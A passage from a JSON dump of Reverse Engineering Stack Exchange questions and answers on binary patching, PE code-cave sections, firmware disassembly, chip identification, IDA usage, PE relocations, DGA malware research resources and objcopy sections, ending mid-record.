        "Body": "<p>I am new to reverse engineering and after some research, I haven't found a clear way to do what I want to do.</p>\n\n<p>I have an ELF file, but not the original source code that generated it. It is really simple and just prints some numbers. I wanted to make a small change in the range of numbers it prints. I have disassembled it and figured out where the change must be made, but I am not sure <strong>how</strong> to make this change.</p>\n\n<p>Is there a way to edit disassembled code and still generate an executable file? Or should I figure out where in the hex file is the  corresponding information that I want to change and use a hex editor?</p>\n",
        "Title": "Making changes in ELF file after dissassembly",
        "Tags": "|disassembly|elf|hex|",
        "Answer": "<p>Since no details about the binary are provided in the question, only a general answer can be given. It sounds like you are trying to statically modify an executable ELF binary. This is also referred to as <a href=\"https://unix.stackexchange.com/questions/17553/meaning-of-patching-binary-files\">patching</a>. This is different from dynamic modification, or program runtime instrumentation.</p>\n\n<h3>Tools and Examples</h3>\n\n<p>Tools that can be used for patching include <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Patching.html\" rel=\"nofollow noreferrer\"><code>gdb</code></a>, <a href=\"https://radare.gitbooks.io/radare2book/content/basic_commands/write.html\" rel=\"nofollow noreferrer\"><code>radare2</code></a>, <a href=\"https://github.com/thorkill/eresi/wiki/TheELFsh\" rel=\"nofollow noreferrer\">the ERESI suite</a>, <a href=\"https://linux.die.net/man/1/xxd\" rel=\"nofollow noreferrer\"><code>xxd</code></a> and <a href=\"https://linux.die.net/man/1/hexedit\" rel=\"nofollow noreferrer\"><code>hexedit</code></a>.</p>\n\n<p><strong>Radare2</strong></p>\n\n<p><a href=\"http://nighterse.blogspot.com/2016/07/i-have-binary-patching-and-done-lot-off.html\" rel=\"nofollow noreferrer\">Patch a elf binary in linux with radare2</a></p>\n\n<p><a href=\"https://monosource.gitbooks.io/radare2-explorations/content/tut1/tut1_-_simple_patch.html\" rel=\"nofollow noreferrer\">Tutorial 1 - Simple Patch</a></p>\n\n<p><a href=\"http://radare.org/get/ncn2010.pdf\" rel=\"nofollow noreferrer\">fixing bugs in binaries using r2</a></p>\n\n<p><strong>GDB</strong></p>\n\n<p><a href=\"https://stackoverflow.com/questions/26173850/use-gdb-to-modify-binary\">Use gdb to Modify Binary</a></p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/8200/using-gdb-to-modify-an-executable\">Using GDB to modify an executable</a></p>\n\n<p><strong>xxd</strong></p>\n\n<p><a href=\"http://www.linuxjournal.com/content/doing-reverse-hex-dump\" rel=\"nofollow noreferrer\">Doing a Reverse Hex Dump</a></p>\n\n<p><strong>hexedit</strong></p>\n\n<p><a href=\"http://web.archive.org/web/20150105041523/https://www.pacificsimplicity.ca/blog/modifying-linux-elf-binaries-changing-callq-addresses\" rel=\"nofollow noreferrer\">Modifying Linux ELF Binaries - Changing Callq Addresses</a></p>\n\n<h3>Similar questions:</h3>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/14936/how-can-i-change-the-values-in-esp?noredirect=1&amp;lq=1\">How can I change the values in esp?</a></p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/185/how-do-i-add-functionality-to-an-existing-binary-executable?noredirect=1&amp;lq=1\">How do I add functionality to an existing binary executable?</a></p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/1843/what-are-the-available-libraries-to-statically-modify-elf-executables?rq=1\">What are the available libraries to statically modify ELF executables?</a></p>\n"
    },
    {
        "Id": "15045",
        "CreationDate": "2017-03-29T03:20:08.610",
        "Body": "<p>I am trying to add a 1000 byte code cave using LordPE to a standalone exe. From what I understand I have to edit the PE header with a new section of 1000 bytes then open the exe in a hex editor and add 1000 bytes to the end of the file.</p>\n\n<p>When I add the new section the offset is not at the end of the file and It actually points to existing code. If I change the <code>RawOffset</code> to match the actual end of file <code>0xAE370</code> it gets corrupted. </p>\n\n<p>Why won't the new section get added at the real end of file? Also, how can I add a new 1000 byte section without corrupting the file?</p>\n\n<p><strong>Update:</strong>  The debugger still wasn't perfect on the location of the new section in the memory map but I can see my new bytes ~200h down from where they are listed. To get it to work I had to:</p>\n\n<ul>\n<li>Add the new section using CFF </li>\n<li>Save it and open the file in a hex editor to find the true RawOffset</li>\n<li>Then manually change the RawOffset in CFF to where my new bytes were actually placed by CFF <code>0xAE378</code></li>\n<li>Back in CFF right click and rebuild PE header and rebuild image size (not sure if rebuilding the size part was necessary)</li>\n<li>Now in the debugger navigate to where it says .NewSec is and scroll down a few hundred bytes and the new inserted bytes are there</li>\n</ul>\n\n<p>Still not sure why the memory map is slightly off but it's not too bad. I suppose once you find them you could edit the virtual address of the section to reflect where it actually is once loaded into memory.</p>\n\n<p><a href=\"https://i.stack.imgur.com/56Mgq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/56Mgq.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Adding a new PE section for a code cave",
        "Tags": "|pe|hex|binary-format|",
        "Answer": "<p>Adding sections to PE files is not always as simple as editing the sections table. Sometimes you'll have to handle several edge cases such as menifest, signatures and other potential end-of-file optional \"extensions\".</p>\n\n<p>Although LordPE is a great tool, it isn't the <em>best</em> tool for this task. It is too low-level, and doesn't let you create a complete new section transparently. It will let you edit the different fields as required for adding the new section, but you'll have to handle everything yourself.</p>\n\n<p>There are more advanced PE editors, such as <a href=\"http://www.ntcore.com/exsuite.php\" rel=\"noreferrer\">CFF Explorer</a>, that provide the functionality to create sections from scratch. It will increase the file size of you and create a section you can directly edit from within CFF Explorer.</p>\n\n<p>To add a new section, open a file with CFF Explorer, select the Section Headers option from the lefthand tree view, right click on the sections table, select the \"Add Section (Empty Space)\" option like in the following picture:</p>\n\n<p><a href=\"https://i.stack.imgur.com/zqXLq.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/zqXLq.png\" alt=\"enter image description here\"></a></p>\n\n<p>Then, specify the size of the new section.</p>\n\n<p>To edit the new section select it, and use the bottom panel to modify, paste, copy or fill the hex view of the section. You can right click on it to open a menu with additional editing options.</p>\n"
    },
    {
        "Id": "15049",
        "CreationDate": "2017-03-29T15:27:31.703",
        "Body": "<p>I want to extract machine code from XBee DigiMesh firmware (Cortex-M3, EM357), so I have SREC file with 3 sections inside. I suppose that one of these sections is a code section, but arm-none-eabi-objdump reports \"unknown instruction\" very often. <strong>Does anyone know why this happens?</strong> </p>\n\n<p>This is how I try to do this:</p>\n\n<pre><code>arm-none-eabi-objcopy --input-target=srec --output-target=binary -j .sec2 xbp24-dm_8073.ehx2.dec sec2.bin\narm-none-eabi-objdump -D -bbinary -marm -Mforce-thumb sec2.bin\n</code></pre>\n\n<ul>\n<li>Firmware: <a href=\"http://tmp.nazaryev.ru/xbp24-dm_8073.ehx2.dec\" rel=\"nofollow noreferrer\">http://tmp.nazaryev.ru/xbp24-dm_8073.ehx2.dec</a></li>\n<li>EM357 datasheet: <a href=\"https://www.silabs.com/documents/public/data-sheets/EM35x.pdf\" rel=\"nofollow noreferrer\">https://www.silabs.com/documents/public/data-sheets/EM35x.pdf</a></li>\n</ul>\n\n<p>Update: I converted ehx2 to ehx2.dec by <a href=\"http://git.nazaryev.ru/xctu-decoder.git/\" rel=\"nofollow noreferrer\">http://git.nazaryev.ru/xctu-decoder.git/</a></p>\n",
        "Title": "Can't extract machine code from Cortex-M3 firmware",
        "Tags": "|arm|",
        "Answer": "<p>The code in file is not ARM. In the binary the following string can be seen:</p>\n\n<blockquote>\n  <p>HW Part #: MC13213</p>\n</blockquote>\n\n<p>Googling for it leads to <a href=\"http://www.nxp.com/pages/2.4-ghz-802.15.4-rf-and-8-bit-hcs08-mcu-with-60kb-flash-4kb-ram:MC13213\" rel=\"nofollow noreferrer\">this page</a> which says:</p>\n\n<blockquote>\n  <p>The MC13213 System in Package (SiP) integrates the <strong>MC9S08GT</strong> MCU\n  with the MC1320x transceiver into a single 9x9mm LGA package.</p>\n</blockquote>\n\n<p>and</p>\n\n<blockquote>\n  <p>40 MHz <strong>HCS08</strong> low-voltage, low-power core</p>\n</blockquote>\n\n<p>And indeed, choosing HCS08 in IDA leads to reasonably-looking disassembly</p>\n\n<pre><code>seg000:1893 start:\nseg000:1893\nseg000:1893 ; FUNCTION CHUNK AT seg000:23BC SIZE 0000009F BYTES\nseg000:1893\nseg000:1893                 ldhx    #$F2E\nseg000:1896                 txs\nseg000:1897                 ldhx    #$E02\nseg000:189A                 sthx    $177\nseg000:189D                 bra     loc_18AD\nseg000:189F ; ---------------------------------------------------------------------------\nseg000:189F\nseg000:189F loc_189F:                               ; CODE XREF: start+20j\nseg000:189F                 lda     #$A5 ; '\u00d1'\nseg000:18A1                 ldhx    $177\nseg000:18A4                 sta     , x\nseg000:18A5                 ldhx    #$177\nseg000:18A8                 inc     1, x\nseg000:18AA                 bne     loc_18AD\nseg000:18AC                 inc     , x\nseg000:18AD\nseg000:18AD loc_18AD:                               ; CODE XREF: start+Aj\nseg000:18AD                                         ; start+17j\nseg000:18AD                 ldhx    $177\nseg000:18B0                 cphx    #$F2E\nseg000:18B3                 bcs     loc_189F\nseg000:18B5                 jsr     sub_182C\nseg000:18B8                 jmp     loc_23BC\n</code></pre>\n\n<p>\u00a0</p>\n"
    },
    {
        "Id": "15056",
        "CreationDate": "2017-03-31T13:11:39.360",
        "Body": "<p>I'm trying to play with the internals of a toy and the controller for that toy uses a chip that I have been unable to find any information on. The chip in question is this:\n<a href=\"https://i.stack.imgur.com/NNRVa.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NNRVa.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>The company is clearly visible, but I can't seem to find anything about them. Given the ambiguity in the font, i've tried googling \"Aveo\", \"Nveo\", \"Aueo\" and \"Nueo\" all to no results. I've tried googling the AV2881 chip identification only to find that there is a very specific type of wall paper that has that label.</p>\n\n<p>The chip is clearly a processor/controller of some type and what i'm ultimately trying to figure out here is how can i find the instruction set it uses (usually these things, even if a custom chip, use a known core instead of a custom instruction set) and how i can extract the firmware. In this particular case, i believe that the firmware is not necessarily on chip but on the 8M EEPROM that is next to the chip. </p>\n\n<p>Hardware hacking is not my strong suit, but it anyone has some pointers about how i can identify this chip, i'd be most grateful. </p>\n\n<p>UPDATE:\n per the request below, here is a larger picture of the controller board:\n<a href=\"https://i.stack.imgur.com/YFaJw.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YFaJw.jpg\" alt=\"enter image description here\"></a> The toy in question is the NERF Terrascout. I wasnt sure if it was cool to call out the product in a post which is why i was being a bit cagey about it above.</p>\n\n<p>greg.</p>\n",
        "Title": "How to identify unknown chip",
        "Tags": "|hardware|",
        "Answer": "<p>Aveo is aveo technolgy corp  some software related to usb uvc camera seens ti be available here. </p>\n\n<p><a href=\"http://aveo.drivers.informer.com/\" rel=\"nofollow noreferrer\">http://aveo.drivers.informer.com/</a>  not sure if the links are geniune appears to be collated compilation </p>\n\n<p>Please make sure you download and inspect in a relatively safe environment </p>\n\n<p>There are some datasheets of different model seems to available here. </p>\n\n<p><a href=\"http://www.datasheetspdf.com/PDF/AV316H/769502/5\" rel=\"nofollow noreferrer\">http://www.datasheetspdf.com/PDF/AV316H/769502/5</a></p>\n\n<p>Webarchive knows about av288 and says it is 8051 </p>\n\n<p><a href=\"https://web-beta.archive.org/web/20150503120144/http://www.aveotek.com:80/288.htm\" rel=\"nofollow noreferrer\">https://web-beta.archive.org/web/20150503120144/http://www.aveotek.com:80/288.htm</a></p>\n"
    },
    {
        "Id": "15057",
        "CreationDate": "2017-03-31T14:22:14.353",
        "Body": "<p>The Watcom compiler uses a fairly unusual calling convention, and IDA seems to be discarding some of the changes as irrelevant to its built-in pseudo-code. In my experience, that usually means I'm doing something wrong, as opposed to IDA :)</p>\n\n<p>For example, in the following function fragment, the changes to <code>ebx</code> and <code>edx</code> are ignored in the pseudo-code.</p>\n\n<pre><code>; void __usercall RunScrIncDec(GeneralObject *object@&lt;eax&gt;, int *bufPtr@&lt;edx&gt;, int value@&lt;ebx&gt;)\nRunScrIncDec    proc near\n                cmp     byte ptr [edx], 0Ah\n                jnz     short loc_164288\n\n                inc     ebx\n                inc     edx\n                retn\n...\n</code></pre>\n\n<p>Note here that bufPtr and value are both incremented, and value is indeed passed by value, not by reference.</p>\n\n<p>If I change the function's return type so that it's an int by replacing the <code>void</code> return type with an <code>int</code> and appending the value location <code>@&lt;ebx&gt;</code>, then IDA includes <code>ebx</code> one in the pseudo-code, but still ignores <code>edx</code>.</p>\n\n<p>Is there any way to tell IDA to pay attention to these changes?\nThat <code>edx</code> and <code>ebx</code> aren't merely spoiled by the function, and that they're notable changes that should be reversed to bufPtr++ and value++ rather than not showing any pseudo-code at all?\nOr is this just something that IDA isn't built to handle?</p>\n",
        "Title": "IDA ignoring register changes in pseudocode",
        "Tags": "|ida|functions|",
        "Answer": "<p>As you rightfully figured out, IDA only takes into account changes it understands are related to the rest of the code. It will consider those values only in the case they're indeed return values the calling function.</p>\n\n<p>What you'll need to do, as you've figured out yourself, is to make IDA understand those are returned values.</p>\n\n<p>Here's a trick to let you do that, by setting that function to return a <em>structure</em> of two DWORDs (or any other type defined in the structure).</p>\n\n<p>First, create an IDA structure by going to the structures view (<kbd>shift</kbd>+<kbd>F9</kbd>) and then create a new structure (<kbd>INS</kbd>).</p>\n\n<p>In that structure, define two DWORD integers (either by using <kbd>D</kbd> on the bottom of the structure or <kbd>CTRL</kbd>+<kbd>E</kbd> to increase the structure's size first).</p>\n\n<p>Then go back to the function, and modify the function's prototype. replace the <code>void</code> return type with the name of your structure, and append the <em>value location</em> specifier after the function's name. To specify two registers, in our case <code>EBX</code> and EDX`, use colons in between.</p>\n\n<p>The final result should look like this, assuming you named your struct <code>s_ret</code>:</p>\n\n<pre><code>s_ret __usercall RunScrIncDec@&lt;eax:ecx&gt;(GeneralObject *object@&lt;eax&gt;, int *bufPtr@&lt;edx&gt;, int value@&lt;ebx&gt;)\n^^^^^                        ^^^^^^^^^^\n</code></pre>\n"
    },
    {
        "Id": "15061",
        "CreationDate": "2017-04-01T04:21:43.973",
        "Body": "<p>When I use <code>GetDisasm()</code>to get disassembly line, I find out that it will show some memory references as a variable name.</p>\n\n<p>For example, when raw assembly is:</p>\n\n<pre><code>mov %r15, 0x20b062(%rip)`\n</code></pre>\n\n<p><code>GetDisasm()</code>'s output may be:</p>\n\n<pre><code>mov r15d, offset s1\n</code></pre>\n\n<p>I was hoping there is a way to get the raw instruction, rather than the modified one?</p>\n",
        "Title": "How to get the disassembly line without offset translations in IDAPython?",
        "Tags": "|ida|binary-analysis|idapython|",
        "Answer": "<p>Unfortunately, IDA's disassembly cannot be separated from it's data type information that is inherent to IDA (and is considered one of it's biggest advantages).</p>\n\n<p>You could, however, alter that information manually to get IDA to display the disassembly as you please. For example, you could use the <code>idc.OpHex(ea, n)</code> API function to make an instruction operand to hexadecimal number format.</p>\n\n<p>For example, in order to change the type of the second operand from offset parameter type to hexadecimal parameter type, you can call <code>idc.OpHex</code> with the address of the instruction as the first parameter and the operand number as the second parameter (<code>1</code> in your example), or <code>-1</code> for all operands.</p>\n\n<p>For example, given the following instruction in IDA:</p>\n\n<pre><code>.text:00401421                 mov     ebx, offset aL4jDontWait ; \"--l4j-dont-wait\"\n</code></pre>\n\n<p>and the output:</p>\n\n<pre><code>Python&gt;idc.GetDisasm(0x0401421)\nmov     ebx, offset aL4jDontWait; \"--l4j-dont-wait\"\nPython&gt;idc.OpHex(0x0401421, 1)\nTrue\nPython&gt;idc.GetDisasm(0x0401421)\nmov     ebx, 407000h\n</code></pre>\n\n<p>You could then just load a previous save to \"undo\" all of those changes.</p>\n"
    },
    {
        "Id": "15066",
        "CreationDate": "2017-04-02T00:49:40.510",
        "Body": "<p>A PIE binary, when loaded in IDA shows an offset (<code>0x202010</code>) different from gdb (<code>0x2013a1</code>) for instruction located at <code>0x555555554c68</code> in (gdb) and <code>0xc68</code> (in IDA). How can I explain this discrepancy?</p>\n\n<p><a href=\"https://i.stack.imgur.com/XjNPm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XjNPm.png\" alt=\"enter image description here\"></a>\n<a href=\"https://i.stack.imgur.com/zMbMo.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zMbMo.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Why is there a difference in offset between ida and gdb?",
        "Tags": "|ida|gdb|",
        "Answer": "<p>IDA shows a simplified operand, with the <code>rip+&lt;delta&gt;</code> value resolved, so you don't have to calculate it yourself. If you prefer, you can view the original form of rip-relative instructions by enabling \"explicit RIP addressing\" in processor-specific options.</p>\n"
    },
    {
        "Id": "15067",
        "CreationDate": "2017-04-02T02:38:17.140",
        "Body": "<p>I'm trying to analyze a piece of malware that is most-likely a downloader. During dynamic analysis on an isolated VM network, Wireshark registered a <code>GET</code> request to a server for what I believe is the payload (a <code>.bin</code> file).</p>\n\n<p>What is a safe way to download the payload? Is there a tool that will allow me to replicate only the GET request? I do not want to run the malware connected to the internet.</p>\n\n<p>Thanks</p>\n",
        "Title": "Safe way to download a malware payload?",
        "Tags": "|windows|malware|",
        "Answer": "<p>If you've got the GET reply captured in the wireshark session, then I'd suggest you to just extract the binary from it. This also way you also avoid situations where downloader uses some kind of challenge/response or time-based protocol which means second attempt with the same URL would fail or it was a fast-flux or hijacked server which could be down by the time you get to trying the download again.</p>\n"
    },
    {
        "Id": "15080",
        "CreationDate": "2017-04-03T06:13:25.293",
        "Body": "<p>I have read document <code>pecoff_v83</code> of Microsoft. In The <code>.reloc</code> section part, I have read: </p>\n\n<blockquote>\n  <p>The Fix-Up Table contains entries for all fixups in the image. The Total Fix-Up Data Size in the Optional Header is the number of bytes in the fixup table. The fixup table is broken into blocks of fixups. Each block represents the fixups for a 4K page. Each block must start on a 32-bit boundary.</p>\n</blockquote>\n\n<p>And, I knew that each block contain: Page RVA and Block Size. Each Block size contain: Type and offset.</p>\n\n<p>I used <code>peview</code>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/BwGeF.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/BwGeF.png\" alt=\"peview display\"></a></p>\n\n<p>I have a few questions:</p>\n\n<ol>\n<li><p>\"<em>Each block must start on a 32-bit boundary</em>\" - I don't understand that, can you explain it?</p></li>\n<li><p>Do PE files use <code>IMAGE_BASE_RELOCATION</code> to work?</p></li>\n<li><p>From this <a href=\"https://stackoverflow.com/questions/6002359/so-most-of-the-binary-is-composed-of-reloc-table\">SO question ('<em>So most of the binary is composed of reloc table?</em>')</a> :</p>\n\n<blockquote>\n  <p>If your program makes a frequent access to global variables and constants, it will have a huge relocation table because theres so much places that the loader has to update</p>\n</blockquote>\n\n<p>How does the loader use relocation table and update it?</p></li>\n</ol>\n",
        "Title": "How .reloc Section is used in PE file?",
        "Tags": "|pe|dynamic-linking|",
        "Answer": "<blockquote>\n<p>&quot;Each block must start on a 32-bit boundary&quot; - I don't understand that, can you explain it?</p>\n</blockquote>\n<p>It means even if you have space after your block finished, you must use next 32-bit aligned address for your RVA. In my opinion, it is mostly because of page optimization. You can read <a href=\"https://www.ibm.com/developerworks/library/pa-dalign/\" rel=\"nofollow noreferrer\">this</a> document for further understanding.</p>\n<blockquote>\n<p>Do PE files use IMAGE_BASE_RELOCATION to work?</p>\n</blockquote>\n<p>IMAGE_BASE_RELOCATION is a data structure which can be expressed as:</p>\n<pre><code>typedef struct _IMAGE_BASE_RELOCATION {\n    DWORD   VirtualAddress;\n    DWORD   SizeOfBlock;\n} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;\n</code></pre>\n<p>PE files don't use IMAGE_BASE_RELOCATION structure to work, PE loader (dynamic linker) use it for constructing relocation table. You can read <a href=\"https://stackoverflow.com/questions/17436668/how-are-pe-base-relocations-build-up\">this</a> topic if you want to learn more about relocation table.</p>\n<blockquote>\n<p><a href=\"https://stackoverflow.com/questions/6002359/so-most-of-the-binary-is-composed-of-reloc-table\">JosephH says:</a></p>\n<p>&quot;If your program makes a frequent access to global variables and constants, it will have a huge relocation table because theres so much places that the loader has to update&quot;\nHow does the loader use relocation table and update it?</p>\n</blockquote>\n<p>Since you use .reloc in your title question, I will explain you relocation information in the .reloc section. This section holds information for base relocations which mean if required files cannot be loaded their preferred addresses (because already something mapped to it) instructions or variables relocated with that information.</p>\n<p>Loader uses virtual addresses, offset and loaded address to <em>resolve</em> and <em>relocate</em> which is another way to say adjusting addresses.</p>\n"
    },
    {
        "Id": "15083",
        "CreationDate": "2017-04-03T14:01:15.997",
        "Body": "<p>Where i can get DGA (Domain Generation Algorithm) based malware files for analysis?\nAnd,Can I get malware family names which is using Domain Generation Algorithm?</p>\n",
        "Title": "DGA(Domain Generation Algorithm) based malware files",
        "Tags": "|malware|networking|dga|",
        "Answer": "<p>I know of no collection of malware <strong>samples</strong>, focusing specifically on DGAs.\nHowever, there are some resources that generally concentrate on DGAs and may provide you enough pointers to identify a reasonable number of different samples yourself.</p>\n\n<ol>\n<li><p>There is <a href=\"https://github.com/baderj/domain_generation_algorithms\" rel=\"nofollow noreferrer\">Johannes Bader's github repository</a> which features several reimplementations of DGAs found in malware, along with detailed write-ups and reference hashes.</p></li>\n<li><p>If you are looking for some more background (more than in my BotConf talk) check out our <a href=\"https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/plohmann\" rel=\"nofollow noreferrer\">USENIX paper</a>, we listed many of the primary characteristics for a selection DGAs.</p></li>\n<li><p>I also run <a href=\"https://dgarchive.caad.fkie.fraunhofer.de\" rel=\"nofollow noreferrer\">DGArchive</a> - the referenced database of algorithmically generated domains (69 DGAs, 617 seeds, 63,699,402 unique domains). Other similar databases are <a href=\"http://osint.bambenekconsulting.com/feeds/\" rel=\"nofollow noreferrer\">John Bambenek's OSINT feed</a> and <a href=\"http://data.netlab.360.com/dga\" rel=\"nofollow noreferrer\">360.cn Netlab's DGA project</a>.</p></li>\n<li><p>I will likely provide tags on samples (such as \"c2_dga\" or similar) on the corpus of my current pet project <a href=\"http://pnx.tf/slides/2017-03-16-ACSC-Malpedia.pdf\" rel=\"nofollow noreferrer\">malpedia</a>.</p></li>\n</ol>\n"
    },
    {
        "Id": "15095",
        "CreationDate": "2017-04-04T22:39:43.617",
        "Body": "<p>I am using objcopy to convert elf to hex. When I disassemble the elf in IDA Pro, all the sections are present, but they are missing from my hex and it seems the elf headers:</p>\n\n<pre><code>C:\\TricoreGCC&gt;tricore-readelf -l test1.elf\n\nElf file type is EXEC (Executable file)\nEntry point 0x80132000\nThere are 3 program headers, starting at offset 52\n\nProgram Headers:\nType           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\nLOAD           0x000000 0x80130000 0x80130000 0x023e8 0x023e8 R E 0x4000\nLOAD           0x003000 0x801cb000 0x801cb000 0x01478 0x01478 RW  0x4000\nLOAD           0x005500 0xd0015500 0xd0015500 0x00000 0x00008 RW  0x4000\n\nSection to Segment mapping:\nSegment Sections...\n00     .text .rodata\n01     .data\n02     .bss\n</code></pre>\n\n<p>In an assembler file I have this:</p>\n\n<pre><code>.section .jfuel , \"x\"\nj translatefuel\n</code></pre>\n\n<p>In a linker script file I have this:</p>\n\n<pre><code>SECTIONS\n{\n. = 0x800B5964;\n.jfuel : { *(.jfuel) }\n. = 0x80132000;\n.text : { *(.text) }\n.rodata : { *(.rodata) }\n. = 0x801CB000;\n.data : { *(.data) }\n. = 0xD0015500;\n.bss : { *(.bss) }\n}\n</code></pre>\n\n<p>The elf file does contain symbols from this section though:</p>\n\n<pre><code>Symbol table '.symtab' contains 85 entries:\nNum:    Value  Size Type    Bind   Vis      Ndx Name\n 0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND\n 1: 800b5964     0 SECTION LOCAL  DEFAULT    1...\n</code></pre>\n\n<p>and later there is my .text section:</p>\n\n<pre><code> 5: 80132000     0 SECTION LOCAL  DEFAULT    5...\n</code></pre>\n\n<p>Somehow I am not defining the section properly in the linker script file. Because it doesn't have a traditional name like .text I'm missing something that is stopping it getting into the sections to \"load\" into the elf and hence the hex, although IDA Pro loading the elf is showing the sections correctly placed, and their contents.</p>\n\n<p>Posting in RE because I'm patching binaries with a combination of C and asm.</p>\n\n<p>Thanks!</p>\n",
        "Title": "GNU objcopy: elf to hex missing sections",
        "Tags": "|elf|section|",
        "Answer": "<p>Answer in this case after hint from @Igor Skochinsky is:</p>\n\n<p>Change:</p>\n\n<pre><code>.section .jfuel , \"x\"\nj translatefuel\n</code></pre>\n\n<p>To:</p>\n\n<pre><code>.section .jfuel , \"ax\"\nj translatefuel\n</code></pre>\n\n<p>.text has AX (alloc, execute) by default whereas .jfuel only had X because that was all I added originally.</p>\n"
    },
    {
        "Id": "15102",
        "CreationDate": "2017-04-05T11:48:38.570",
        "Body": "<p>I've been trying to identify this little fellow: </p>\n\n<p><a href=\"https://i.stack.imgur.com/QlWZ1.pnggb\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QlWZ1.pnggb\" alt=\"enter image description here\"></a></p>\n\n<p>The symbol indicates Analog devices. But the Cryptic \"Y 4 A\" is giving me a headache. Ive searched throughout the internet for the labelling norms of AD but I can't find it. Everything that is explained relates to ADXXXX... something. No word about single char labelling.</p>\n\n<p>I'm sorry for the bad resolution, but I can't provide a better picture.</p>\n",
        "Title": "Analog Devices chip identification Y 4 A",
        "Tags": "|integrated-circuit|",
        "Answer": "<p>By searching <code>\"Y4A\" site:analog.com</code> I found <a href=\"http://www.analog.com/media/en/technical-documentation/data-sheets/AD8421.pdf\" rel=\"nofollow noreferrer\">this datasheet</a> which seems pretty close.</p>\n"
    },
    {
        "Id": "15111",
        "CreationDate": "2017-04-06T09:19:01.473",
        "Body": "<p>I'm reverse-engineering custom binary file format. I'm using 010 Editor to check this file. I found data structure to represent UTF-8 strings, which has header section of one or two bytes in length then the actual UTF-8 string data. The header section seems to store total number of bytes needed for the string data.</p>\n\n<pre><code>\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2566\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2566\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 first byte \u2551 optional byte \u2551 UTF-8 string data \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2569\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2569\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n</code></pre>\n\n<p>The second byte in header is optional and it's only there when UTF-8 string needs more than 128 bytes to be stored. When string length is less or equal 128 bytes, decoding it's length is easy. However, when string length > 128, I'm failing to calculate string length from header section. So I did experiments and generated many binary files with different string length and below is the result. String length is the total number of bytes needed to store the string. First and second columns are first and second optional byte in header section.</p>\n\n<pre><code>\u2554\u2550\u2550\u2550\u2550\u2566\u2550\u2550\u2550\u2550\u2566\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 01 \u2551 02 \u2551 String length \u2551\n\u2560\u2550\u2550\u2550\u2550\u256c\u2550\u2550\u2550\u2550\u256c\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\n\u2551 7D \u2551N/A \u2551           126 \u2551\n\u2551 7E \u2551N/A \u2551           127 \u2551\n\u2551 7F \u2551N/A \u2551           128 \u2551\n\u2551 80 \u2551 01 \u2551           129 \u2551\n\u2551 81 \u2551 01 \u2551           130 \u2551\n\u2551 C7 \u2551 01 \u2551           200 \u2551\n\u2551 C8 \u2551 01 \u2551           201 \u2551\n\u2551 F9 \u2551 01 \u2551           250 \u2551\n\u2551 FE \u2551 01 \u2551           255 \u2551\n\u2551 FF \u2551 01 \u2551           256 \u2551\n\u2551 80 \u2551 02 \u2551           257 \u2551\n\u2551 81 \u2551 02 \u2551           258 \u2551\n\u2551 82 \u2551 02 \u2551           259 \u2551\n\u2551 F3 \u2551 03 \u2551           500 \u2551\n\u2551 F4 \u2551 03 \u2551           501 \u2551\n\u2551 F5 \u2551 03 \u2551           502 \u2551\n\u2551 F6 \u2551 03 \u2551           503 \u2551\n\u2551 80 \u2551 04 \u2551           513 \u2551\n\u255a\u2550\u2550\u2550\u2550\u2569\u2550\u2550\u2550\u2550\u2569\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n</code></pre>\n\n<p>I read somewhere that Pascal\\Delphi is using string format where it has header to save string length instead of null terminated strings like in C, which look similar to my case.</p>\n\n<p>My question is how can I calculate string length when it's greater than 128 bytes in length using values in header section?</p>\n",
        "Title": "Problem with converting hex values to decimal",
        "Tags": "|binary-analysis|hex|strings|struct|binary-format|",
